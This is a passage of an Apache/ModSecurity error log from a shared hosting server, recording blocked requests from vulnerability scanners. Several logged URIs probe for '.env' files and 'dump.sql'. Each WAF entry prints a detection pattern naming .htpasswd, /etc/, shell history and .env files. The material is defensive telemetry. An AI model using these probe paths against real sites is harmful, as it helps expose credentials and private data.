[pid 648189:tid 648241] [remote 57.141.14.30:57066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:12.287746 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.30:57066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:12.297819 2026] [security2:error] [pid 646876:tid 647121] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/drupal/.env"] [unique_id "ai3zCNyTkdrNlD40tSGtZQAAAHE"] [Sat Jun 13 18:17:12.438727 2026] [security2:error] [pid 646876:tid 647103] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dump.sql"] [unique_id "ai3zCNyTkdrNlD40tSGtaAAAAF8"] [Sat Jun 13 18:17:12.474329 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:17:12.474630 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:17:12.545048 2026] [security2:error] [pid 648189:tid 648315] [remote 17.22.253.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zCFWSojQL4F7upKBjYgAAs10"] [Sat Jun 13 18:17:12.577849 2026] [security2:error] [pid 646876:tid 647053] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/e2e/.env"] [unique_id "ai3zCNyTkdrNlD40tSGtawAAAC0"] [Sat Jun 13 18:17:12.719031 2026] [security2:error] [pid 646876:tid 647036] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/en/.env"] [unique_id "ai3zCNyTkdrNlD40tSGtcAAAABw"] [Sat Jun 13 18:17:12.844565 2026] [security2:error] [pid 648189:tid 648223] [remote 17.246.15.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zCFWSojQL4F7upKBjaQAAiQM"] [Sat Jun 13 18:17:12.857927 2026] [security2:error] [pid 646876:tid 647123] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/engine/.env"] [unique_id "ai3zCNyTkdrNlD40tSGtcgAAAHM"] [Sat Jun 13 18:17:12.863285 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.77:55867] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:12.863557 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.77:55867] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:13.035430 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:17:13.035747 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:17:13.219617 2026] [access_compat:error] [pid 648189:tid 648321] [remote 57.141.14.34:32754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:13.219888 2026] [access_compat:error] [pid 648189:tid 648321] [remote 57.141.14.34:32754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:13.237682 2026] [access_compat:error] [pid 648189:tid 648316] [remote 216.73.216.223:17997] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:13.238152 2026] [access_compat:error] [pid 648189:tid 648316] [remote 216.73.216.223:17997] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:13.458115 2026] [security2:error] [pid 646876:tid 647046] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/env/dockers/mariadb-test/.env"] [unique_id "ai3zCdyTkdrNlD40tSGtgwAAACY"] [Sat Jun 13 18:17:13.506569 2026] [access_compat:error] [pid 646876:tid 647004] [remote 57.141.14.98:31138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:13.506884 2026] [access_compat:error] [pid 646876:tid 647004] [remote 57.141.14.98:31138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:13.531856 2026] [security2:error] [pid 648189:tid 648403] [client 34.23.213.224:33200] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zCVWSojQL4F7upKBjhwAAALc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:13.547326 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:17:13.547621 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:17:13.597421 2026] [security2:error] [pid 646876:tid 647063] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/env/dockers/php-apache/.env"] [unique_id "ai3zCdyTkdrNlD40tSGtiQAAADc"] [Sat Jun 13 18:17:13.692520 2026] [security2:error] [pid 648189:tid 648413] [client 34.23.213.224:33206] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zCVWSojQL4F7upKBjiwAAAMA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:13.736577 2026] [security2:error] [pid 646876:tid 647134] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/env/example/.env"] [unique_id "ai3zCdyTkdrNlD40tSGtiwAAAH4"] [Sat Jun 13 18:17:13.764279 2026] [security2:error] [pid 646876:tid 647000] [remote 17.22.237.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zCdyTkdrNlD40tSGtjAAAGHk"] [Sat Jun 13 18:17:13.852844 2026] [security2:error] [pid 648189:tid 648451] [client 34.23.213.224:33218] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zCVWSojQL4F7upKBjjgAAAOU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:13.880035 2026] [security2:error] [pid 646876:tid 647092] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/env/template/.env"] [unique_id "ai3zCdyTkdrNlD40tSGtjgAAAFQ"] [Sat Jun 13 18:17:13.911751 2026] [security2:error] [pid 646876:tid 646952] [remote 17.246.23.50:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zCdyTkdrNlD40tSGtjwAAI0k"] [Sat Jun 13 18:17:13.943918 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.110:29516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:13.944361 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.110:29516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:14.015498 2026] [security2:error] [pid 648189:tid 648453] [client 34.23.213.224:33230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zClWSojQL4F7upKBjlgAAAOc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:14.022208 2026] [security2:error] [pid 646876:tid 647108] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/environments/local/.env"] [unique_id "ai3zCtyTkdrNlD40tSGtlQAAAGQ"] [Sat Jun 13 18:17:14.068409 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:14.068691 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:14.091012 2026] [security2:error] [pid 648189:tid 648468] [client 220.181.108.175:3101] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 175.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zClWSojQL4F7upKBjmAAAAPI"] [Sat Jun 13 18:17:14.160913 2026] [security2:error] [pid 646876:tid 647099] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/environments/production/.env"] [unique_id "ai3zCtyTkdrNlD40tSGtmAAAAFs"] [Sat Jun 13 18:17:14.180269 2026] [security2:error] [pid 646876:tid 647062] [client 34.23.213.224:33238] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zCtyTkdrNlD40tSGtmQAAADY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:14.300680 2026] [security2:error] [pid 646876:tid 647079] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/envs/.env"] [unique_id "ai3zCtyTkdrNlD40tSGtnAAAAEc"] [Sat Jun 13 18:17:14.341907 2026] [security2:error] [pid 648189:tid 648464] [client 34.23.213.224:33250] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zClWSojQL4F7upKBjnAAAAO4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:14.463860 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.56:28538] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:14.464142 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.56:28538] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:14.503558 2026] [security2:error] [pid 648189:tid 648470] [client 34.23.213.224:33260] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zClWSojQL4F7upKBjogAAAPQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:14.524083 2026] [security2:error] [pid 646876:tid 646928] [remote 17.246.15.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zCtyTkdrNlD40tSGtoQAAdjE"] [Sat Jun 13 18:17:14.588468 2026] [security2:error] [pid 648189:tid 648474] [client 220.181.51.88:13379] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 